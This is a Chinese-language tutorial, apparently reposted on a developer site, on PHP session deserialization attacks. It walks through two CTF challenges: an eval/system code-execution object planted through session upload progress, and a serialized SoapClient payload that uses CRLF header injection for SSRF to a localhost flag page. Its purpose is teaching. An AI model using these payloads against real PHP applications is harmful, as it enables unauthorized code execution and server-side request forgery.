PHP反序列化入门之session反序列化

栏目: PHP · 发布时间: 7年前

内容简介:在学习我们先通过一个样例代码,看看3种不同的当

在学习 session 反序列化之前,我们需要了解这几个参数的含义。

Directive 含义
session.save_handler session保存形式。默认为files
session.save_path session保存路径。
session.serialize_handler session序列化存储所用处理器。默认为php。
session.upload_progress.cleanup 一旦读取了所有POST数据,立即清除进度信息。默认开启
session.upload_progress.enabled 将上传文件的进度信息存在session中。默认开启。

我们先通过一个样例代码,看看3种不同的 session 序列化处理器处理 session 的情况。

<?php
session_start();
$_SESSION['name'] = 'mochazz';
?>

当 session.serialize_handler=php 时,session文件内容为: name|s:7:"mochazz";

当 session.serialize_handler=php_serialize 时,session文件为: a:1:{s:4:"name";s:7:"mochazz";}

当 session.serialize_handler=php_binary 时,session文件内容为: 二进制字符names:7:"mochazz";

再来看看 session.upload_progress.enabled 。

当 session.upload_progress.enabled INI 选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。

当一个上传在处理中,同时POST一个与INI中设置的 session.upload_progress.name 同名变量时,上传进度可以在 $_SESSION 中获得。 当 PHP 检测到这种POST请求时,它会在 $_SESSION 中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name 连接在一起的值。

通常这些键值可以通过读取INI设置来获得,例如:

<?php
$key = ini_get("session.upload_progress.prefix") . ini_get("session.upload-progress.name");
var_dump($_SESSION[$key]);
?>

更多细节请参考: http://php.net/manual/zh/session.upload-progress.php

如果想看上面说的这个存在 $_SESSION 数组中的信息,我们需要先将 session.upload_progress.cleanup 设置成 Off 。

PHP反序列化入门之session反序列化

接下来我们通过两个CTF题目来学习 session 反序列化问题。

例题一

PHP反序列化入门之session反序列化

PHP反序列化入门之session反序列化

可以看到题目环境中的 session.serialize_handler 默认为 php_serialize 处理器,而程序使用的却是 php 处理器,而且开头 第4行 使用了 session_start() 函数,那么我们就可以利用 session.upload_progress.enabled 来伪造 session ,然后在 PHP 反序列化 session 文件时,还原 OowoO 类,最终执行 eval 函数。

<?php
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO{
    public $mdzz;
    function __construct(){
        $this->mdzz = 'echo system("pwd");';
    }

    function __destruct(){
        eval($this->mdzz);
    }
}
$_SESSION['payload'] = new OowoO();
// 生成session文件内容为:
// payload|O:5:"OowoO":1:{s:4:"mdzz";s:19:"echo system("pwd");";}
?>

我们可以通过如下表单,抓包修改 filename 为 payload 即可。

<form action="http://localhost/demo.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

最终会生成一个 session 文件, php 在获取 session 的时候,会按照 session.serialize_handler=php 规则来处理 session 文件,将 | 符号之前的所有内容认为是键名,之后的内容则用于反序列化。

PHP反序列化入门之session反序列化

在程序运行结束时,调用 OowoO 类的 __destruct 方法,最终触发代码执行操作。

例题二

PHP反序列化入门之session反序列化

在 index.php 文件中,看到 第5行 的 call_user_func 方法,其参数二的位置固定为 $_POST 数组,我们很容易便想到利用 extract 函数进行变量覆盖,以便配合后续利用。 第6-8 行代码又存在 session 伪造漏洞,我们可以考虑是否可以包含 session 文件或者利用 session 反序列化漏洞。 第12行 的 call_user_func 函数的第一个参数虽然被固定为 implode ,但是我们可以通过前面的 extract 函数进行变量覆盖(注意:在PHP7.x比较新的版本中,已经不允许动态调用 extract 函数了)。而 flag.php 文件中告诉我们,只有 127.0.0.1 请求该页面才能得到 flag ,所以这明显又是考察 SSRF 漏洞,这里我们便可以利用 SoapClient 类的 __call 方法来进行 SSRF 。

下面我们通过一个例子,来看看 SoapClient 类的 __call 方法如何使用。

<?php
$target = "http://localhost:2333";
$options = array(
    "location" => $target,
    "user_agent" => "mochazz\r\nCookie: PHPSESSID=123123\r\n",
    "uri" => "demo"
);
$attack = new SoapClient(null,$options);
$payload = serialize($attack);
unserialize($payload)->ff(); // 调用一个不存在的ff方法,会触发__call方法,发出HTTP请求
?>

由于 PHP 中的原生 SoapClient 类存在 CRLF 漏洞,所以我们可以伪造任意 header 信息,上面的请求结果如下:

PHP反序列化入门之session反序列化

而 call_user_func 函数中的参数可以是一个数组,数组中第一个元素为类名,第二个元素为类方法,例如:

<?php
class myclass {
    static function say_hello()
    {
        echo "Hello!\n";
    }
}

$classname = "myclass";
call_user_func(array($classname, 'say_hello'));
call_user_func($classname .'::say_hello'); // As of 5.2.3

$myobject = new myclass();
call_user_func(array($myobject, 'say_hello'));
?>

这样题目中的 call_user_func($b,$a) 就可以变成 call_user_func(‘call_user_func’,array(‘SoapClient’,’welcome_to_the_lctf2018’)) ,即调用 SoapClient 类不存在的 welcome_to_the_lctf2018 方法,从而触发 __call 方法发起 soap 请求进行 SSRF 。

这里还要提及一点的是 session_start 函数从 PHP7 开始允许通过参数来设置 session 运行时配置。例如: session_start(array('serialize_handler' => 'php_serialize')) 将会设置 session.serialize_handler=php_serialize 。

最终我们的利用方法如下:

<?php
$target = "http://127.0.0.1/flag.php";
$post_data = 'flag=demo';
$ua = array(
    'mochazz',
    'Content-Type: application/x-www-form-urlencoded',
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=mochazz'
);

$options = array(
    'location' => $target,
    'user_agent' => join("\r\n",$ua) . "\r\nContent-Length: " . (string) strlen($post_data). "\r\n\r\n" . $post_data,
    'uri'=>'hello'
);

$serialize_string = serialize(new SoapClient(null,$options));
echo urlencode($serialize_string);
?>

PHP反序列化入门之session反序列化

PHP反序列化入门之session反序列化

最后我们再将 PHPSESSID 修改成 mochazz 即可获得 flag ,整个攻击的流程图如下:

PHP反序列化入门之session反序列化

例二题目环境可以从 这里 下载。


以上所述就是小编给大家介绍的《PHP反序列化入门之session反序列化》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。

The Mechanics of Web Handling

The Mechanics of Web Handling

David R. Roisum

This unique book covers many aspects of web handling for manufacturing, converting, and printing. The book is applicable to any web including paper, film, foil, nonwovens, and textiles. The Mech......一起来看看 《The Mechanics of Web Handling》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具